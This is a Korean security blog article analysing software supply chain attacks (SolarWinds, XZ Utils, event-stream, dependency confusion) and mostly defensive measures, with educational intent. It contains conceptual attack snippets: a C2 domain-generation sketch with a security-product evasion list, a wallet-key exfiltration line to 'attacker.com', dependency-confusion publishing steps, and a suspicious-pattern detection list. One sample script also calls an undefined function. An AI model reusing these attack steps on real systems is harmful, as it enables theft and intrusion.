/보안 기법/소프트웨어 공급망 공격 — SolarWinds부터 XZ Utils까지
고급 기법2026-05-03

소프트웨어 공급망 공격 — SolarWinds부터 XZ Utils까지

---

#공급망#Supply Chain#SolarWinds#XZ Utils#NPM#오픈소스

기본 원리

소프트웨어 공급망 공격(Supply Chain Attack)은 직접 타깃을 공격하는 대신, 타깃이 신뢰하는 소프트웨어나 서비스 공급자를 먼저 침해하는 방식이다. 은행을 직접 터는 대신 은행이 믿고 쓰는 경비 회사를 침투하는 것과 같다.

공급망 공격이 특히 위험한 이유는 신뢰 관계를 역이용하기 때문이다. 정상적으로 서명된 업데이트, 공식 저장소의 패키지, 신뢰할 수 있는 벤더의 소프트웨어를 통해 악성 코드가 배포되므로, 기존 보안 솔루션이 이를 탐지하기 매우 어렵다.

공급망 공격 모델

[공격자] → [소프트웨어 공급자 침해] → [악성 코드 삽입] → [배포]
                    ↓                           ↓
           (빌드 시스템 / 소스코드 / 패키지 저장소 / 업데이트 서버)
                                               ↓
                                    [수천~수만 개 고객사]
                                    (각 고객사에서 자동 신뢰)

공격 유형 분류

유형 설명 대표 사례
빌드 시스템 침해 CI/CD 파이프라인에 악성 코드 삽입 SolarWinds SUNBURST
오픈소스 패키지 타이포스쿼팅 유명 패키지와 유사한 이름으로 악성 패키지 등록 colourama vs colorama
패키지 관리자 계정 탈취 정상 패키지 유지관리자 계정 침해 후 악성 버전 배포 event-stream (2018)
의존성 혼동(Dependency Confusion) 내부 패키지명과 동일한 공개 패키지 등록 Alex Birsan 연구 (2021)
코드 기여 통한 백도어 삽입 오픈소스 프로젝트에 장기간 기여 후 악성 코드 삽입 XZ Utils (2024)
하드웨어/펌웨어 공급망 제조 단계에서 하드웨어에 악성 칩/코드 삽입 Bloomberg 슈퍼마이크로 보도

실제 사례 심층 분석

사례 1: SolarWinds SUNBURST (2020)

러시아 SVR 산하 Cozy Bear(APT29)가 SolarWinds의 Orion IT 모니터링 소프트웨어 빌드 과정에 악성 코드(SUNBURST)를 삽입한 사건. 18,000개 이상의 조직이 악성 업데이트를 설치했고, 미국 재무부, 국방부, 국무부 등 정부기관이 침해되었다.

공격 흐름:

1. SolarWinds 빌드 서버 침투 (2019년경)
         ↓
2. 빌드 프로세스에 악성 DLL 컴파일 코드 삽입
         ↓
3. 정상 서명된 Orion 업데이트(SolarWinds.Orion.Core.BusinessLayer.dll) 배포
         ↓
4. 설치 후 12~14일 비활성 대기 (sandbox 탐지 우회)
         ↓
5. avsvmcloud[.]com 도메인으로 C2 통신 (DNS를 통한 은밀한 통신)
         ↓
6. 선택적 타깃에만 추가 페이로드(TEARDROP/RAINDROP) 배포

SUNBURST의 탐지 회피 기법:

// SUNBURST가 사용한 도메인 생성 알고리즘 (DGA) 개념
// 실제 코드는 난독화되어 있었음
string GenerateDomain(string userId, DateTime timestamp) {
    // 사용자 ID + 타임스탬프 기반 서브도메인 생성
    // → avsvmcloud.com에 DNS 쿼리로 C2 통신
    // DNS 응답으로 명령 수신 (HTTP 직접 통신 없음)
    byte[] hash = ComputeHash(userId + timestamp.ToString());
    return Base32Encode(hash) + ".appsync-api.us-east-1.avsvmcloud.com";
}

// 보안 도구 프로세스 감지 시 비활성화
string[] securityProcesses = {
    "windefend", "ms security essentials", "carbon black",
    "crowdstrike", "cylance", "encase", "fireeye"
};
// 탐지되면 즉시 실행 중단

사례 2: XZ Utils 백도어 (CVE-2024-3094)

2024년 3월 발견된 이 사건은 공격자(JiaT75 / Jia Tan)가 약 2년에 걸친 신뢰 구축 끝에 XZ Utils(리눅스 압축 라이브러리)에 SSH 인증 우회 백도어를 삽입한 사례다.

공격 타임라인:

2021.10 - JiaT75, XZ Utils에 첫 기여 시작 (정상적인 패치)
2022.01 - 메인테이너(Lasse Collin)에게 co-maintainer 요청
2022    - 지속적인 기여, 신뢰 축적
2023.07 - xz-devel 메일링 리스트에서 기존 메인테이너 교체 압박
2024.02 - 악성 코드가 포함된 5.6.0 릴리즈
2024.03 - Andres Freund(MS 엔지니어)가 SSH 속도 저하로 우연히 발견

삽입된 백도어 동작 방식:

# 빌드 과정에서만 활성화 (소스코드에는 직접 없음)
# build-to-host.m4 파일에 난독화된 악성 스크립트 삽입
# → 빌드 시 liblzma에 추가 오브젝트 파일 링크

# 백도어 효과: 공격자의 RSA 키로 서명된 요청 시
# sshd의 RSA 키 인증 전 단계에서 임의 코드 실행

# 탐지 방법 (Andres Freund가 사용한 방법)
# 비정상적인 CPU 사용량 확인
perf stat -r 3 ssh -p 22 localhost hostname
# 정상: ~0.1ms, 침해 시: ~800ms

# 영향받는 버전 확인
xz --version
# 5.6.0 또는 5.6.1이면 즉시 다운그레이드 필요

사례 3: event-stream npm 패키지 (2018)

인기 npm 패키지(주간 수백만 다운로드)의 유지관리자가 관리를 포기하면서 낯선 계정에 권한을 넘긴 사례. 새 관리자는 flatmap-stream 패키지를 의존성으로 추가해 Copay 비트코인 지갑을 타깃으로 한 악성 코드를 배포했다.

// flatmap-stream에 삽입된 난독화 코드 (복호화 후 개념)
// 특정 조건(Copay 지갑 앱)에서만 활성화되도록 설계
const target = "copay-dash";  // 타깃 앱 이름 확인
if (process.env.npm_package_description === target) {
    // 비트코인 개인 키 탈취
    const keys = getWalletKeys();
    exfiltrate(keys, 'https://attacker.com/collect');
}

사례 4: 의존성 혼동(Dependency Confusion)

Alex Birsan이 2021년에 발표한 연구. 기업이 내부 npm/PyPI 패키지를 사용할 때 공개 저장소에 동일한 이름의 패키지를 더 높은 버전 번호로 등록하면, 패키지 매니저가 공개 패키지를 우선 설치한다는 취약점.

# 공격 시나리오
# 1. 타깃 기업의 package.json에서 내부 패키지명 확인
#    (GitHub 검색, npm-shrinkwrap.json 등에서 노출)
# 예: @mycompany/internal-utils 버전 1.2.3

# 2. npm 공개 저장소에 같은 이름으로 더 높은 버전 등록
npm publish --access public  # 버전: 9.9.9

# 3. 기업 CI/CD에서 패키지 설치 시
npm install
# npm이 공개 저장소의 9.9.9를 내부 1.2.3보다 우선 설치

# 방어 방법
# npm scoping을 통한 내부 패키지 명시
cat .npmrc
# @mycompany:registry=https://internal.registry.com
# always-auth=true

방어 방법

1. SBOM(소프트웨어 자재 명세서) 생성 및 관리

# syft로 SBOM 생성
syft packages dir:. -o spdx-json > sbom.spdx.json
syft packages myapp:latest -o cyclonedx-json > sbom.cyclonedx.json

# grype로 SBOM 기반 취약점 스캔
grype sbom:./sbom.spdx.json

# npm/pip 의존성 트리 감사
npm audit
npm audit fix

pip install pip-audit
pip-audit

2. 빌드 재현성(Reproducible Builds) 확보

# Go - 재현 가능한 빌드
CGO_ENABLED=0 GOFLAGS="-trimpath" go build -o myapp .

# Docker - 고정 베이스 이미지 다이제스트 사용
# FROM ubuntu:22.04  ← 태그는 변경 가능
FROM ubuntu@sha256:a6d2b38300ce017add71440577d5b0a90460d0e57fd7aec21dd0d1b0761bbfb2  # ← 불변

# 빌드 결과 해시 비교
sha256sum myapp > myapp.sha256
# 다른 환경에서 동일 소스로 빌드 후 해시 비교

3. 코드 서명 및 검증 파이프라인

# GitHub Actions - 아티팩트 서명 (Sigstore/Cosign)
name: Build and Sign
on: [push]
jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      id-token: write  # OIDC 토큰
      contents: read
    steps:
    - uses: actions/checkout@v4
    - name: Build
      run: docker build -t myapp:${{ github.sha }} .
    - name: Sign with Cosign
      uses: sigstore/cosign-installer@v3
    - run: |
        cosign sign --yes myapp:${{ github.sha }}

4. 의존성 고정 및 검증

# npm - package-lock.json 엄격 사용
npm ci  # install 대신 ci 사용 (lock 파일 기반)

# pip - requirements.txt에 해시 고정
pip install --require-hashes -r requirements.txt
# requirements.txt 예시:
# requests==2.31.0 \
#   --hash=sha256:58cd2187423839... \
#   --hash=sha256:942c5a758f98...

# Go - vendor 디렉토리 활용
go mod vendor
go build -mod=vendor ./...

5. 패키지 레지스트리 보안

# npm - 조직 범위(scope) 설정
npm config set @mycompany:registry https://internal.registry.company.com

# pip - 내부 인덱스만 사용
pip install --index-url https://internal.pypi.company.com/simple/ \
            --no-index \
            mypackage

# Artifactory/Nexus에서 외부 패키지 프록시 및 스캔 설정
# 모든 패키지를 내부 레지스트리를 통해서만 설치

6. 코드 리뷰 강화

# git commit hook - 의심스러운 패턴 탐지
# .git/hooks/pre-commit

import subprocess
import sys
import re

SUSPICIOUS_PATTERNS = [
    r'eval\s*\(',
    r'exec\s*\(',
    r'base64\.b64decode',
    r'__import__\s*\(',
    r'subprocess\.(?:Popen|call|run).*shell=True',
    r'os\.system\s*\(',
    r'curl\s+.*\|.*sh',
    r'wget\s+.*-O.*\|',
]

def check_staged_files():
    result = subprocess.run(['git', 'diff', '--cached', '--name-only'],
                          capture_output=True, text=True)
    files = result.stdout.strip().split('\n')
    
    for file in files:
        if not file.endswith(('.py', '.js', '.ts', '.sh')):
            continue
        diff = subprocess.run(['git', 'diff', '--cached', file],
                            capture_output=True, text=True).stdout
        for pattern in SUSPICIOUS_PATTERNS:
            if re.search(pattern, diff):
                print(f"[WARN] Suspicious pattern '{pattern}' in {file}")
                # 차단하지 않고 경고만 (CI에서 강제 검토)

탐지 방법

1. 네트워크 이상 트래픽 탐지

# 예상치 못한 외부 연결 모니터링
# 정상 빌드 환경에서의 베이스라인 수립 후 비교
ss -tlnp | grep ESTABLISHED
netstat -antp | grep -v "127.0.0.1\|::1\|LISTEN"

# DNS 쿼리 모니터링 (SolarWinds식 DNS C2 탐지)
# /etc/resolv.conf 기반 쿼리 로깅
tcpdump -i any -n port 53 -w dns_capture.pcap

# 알려진 C2 도메인 차단 (Threat Intelligence 연동)
# pihole 또는 내부 DNS 서버에서 IoC 목록 적용

2. 파일 무결성 모니터링

# AIDE(Advanced Intrusion Detection Environment) 설정
apt install aide

# aide.conf 설정
/usr/bin CONTENT_EX
/usr/lib CONTENT_EX
/usr/sbin CONTENT_EX
/etc CONFIG

# 베이스라인 생성
aide --init
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db

# 정기 검사 (cron)
# 0 3 * * * /usr/bin/aide --check | mail -s "AIDE Report" security@company.com

3. 런타임 행위 분석

# 빌드 시스템에서 예상치 못한 프로세스 실행 탐지
auditd 규칙:
-a always,exit -F arch=b64 -S execve -F uid=build -F key=build_exec

# 로그 분석
ausearch -k build_exec --start today | aureport -x --summary

# eBPF 기반 실시간 모니터링
# Tracee(Aqua Security) 사용
docker run --privileged --rm \
  -v /lib/modules/:/lib/modules/:ro \
  -v /usr/src:/usr/src:ro \
  -v /tmp/tracee:/tmp/tracee \
  aquasec/tracee:latest \
  --event execve,net_packet_dns

4. 패키지 무결성 검증 자동화

# CI/CD 파이프라인에 패키지 해시 검증 통합
import hashlib
import json
import requests

def verify_npm_package(package_name, version, expected_hash):
    """npm 패키지 tarball 해시 검증"""
    registry_url = f"https://registry.npmjs.org/{package_name}/{version}"
    metadata = requests.get(registry_url).json()
    
    tarball_url = metadata['dist']['tarball']
    actual_shasum = metadata['dist']['shasum']
    
    if actual_shasum != expected_hash:
        raise SecurityError(
            f"Hash mismatch for {package_name}@{version}! "
            f"Expected: {expected_hash}, Got: {actual_shasum}"
        )
    print(f"[OK] {package_name}@{version} integrity verified")

# lockfile의 해시와 레지스트리의 실제 해시 비교
with open('package-lock.json') as f:
    lock = json.load(f)
    
for pkg, info in lock.get('packages', {}).items():
    if 'resolved' in info and 'integrity' in info:
        verify_package_integrity(pkg, info['resolved'], info['integrity'])

참고 도구 및 자원

도구/자원 분류 설명
Syft SBOM 생성 Anchore의 SBOM 생성 도구, 다양한 포맷 지원
Grype 취약점 스캔 SBOM 기반 취약점 스캐너
Cosign 코드 서명 Sigstore 프로젝트의 컨테이너/아티팩트 서명
in-toto 공급망 무결성 소프트웨어 공급망 각 단계 검증 프레임워크
SLSA 프레임워크 Google의 공급망 무결성 보안 수준 프레임워크
Renovate/Dependabot 의존성 관리 의존성 자동 업데이트 및 취약점 알림
Socket.dev npm 보안 npm 패키지 공급망 위협 실시간 탐지
AIDE 무결성 검증 파일 시스템 무결성 모니터링
Tracee 런타임 탐지 eBPF 기반 런타임 행위 분석
OSV.dev 취약점 DB 오픈소스 취약점 데이터베이스 (Google)
Scorecard 오픈소스 평가 OpenSSF의 오픈소스 보안 수준 자동 평가
CISA 공급망 가이드 가이드라인 미국 CISA의 공급망 위험 관리 가이드

⚠️ 주의사항: 소프트웨어 공급망 공격은 단일 취약점이 아닌 신뢰 관계의 구조적 문제다. 오픈소스 기여 분석, 패키지 유지관리자 신원 확인, 의존성 최소화 원칙을 조직 전체에 걸쳐 정책으로 수립해야 한다. 또한 여기 소개된 공격 분석 내용은 방어 목적의 이해를 위한 것이며, 실제 패키지 저장소에 악성 패키지를 등록하거나 오픈소스 프로젝트에 악성 코드를 기여하는 행위는 각국 형사법에 따라 중대한 범죄다. 보안 연구는 반드시 격리된 환경에서 진행하고, 발견된 취약점은 책임 있는 공개(Responsible Disclosure) 원칙에 따라 보고한다.

⚠️ 이 글의 내용은 교육 및 허가된 침투 테스트 목적으로만 사용해야 합니다. 무단으로 타인의 시스템에 적용하는 것은 법적 처벌을 받을 수 있습니다.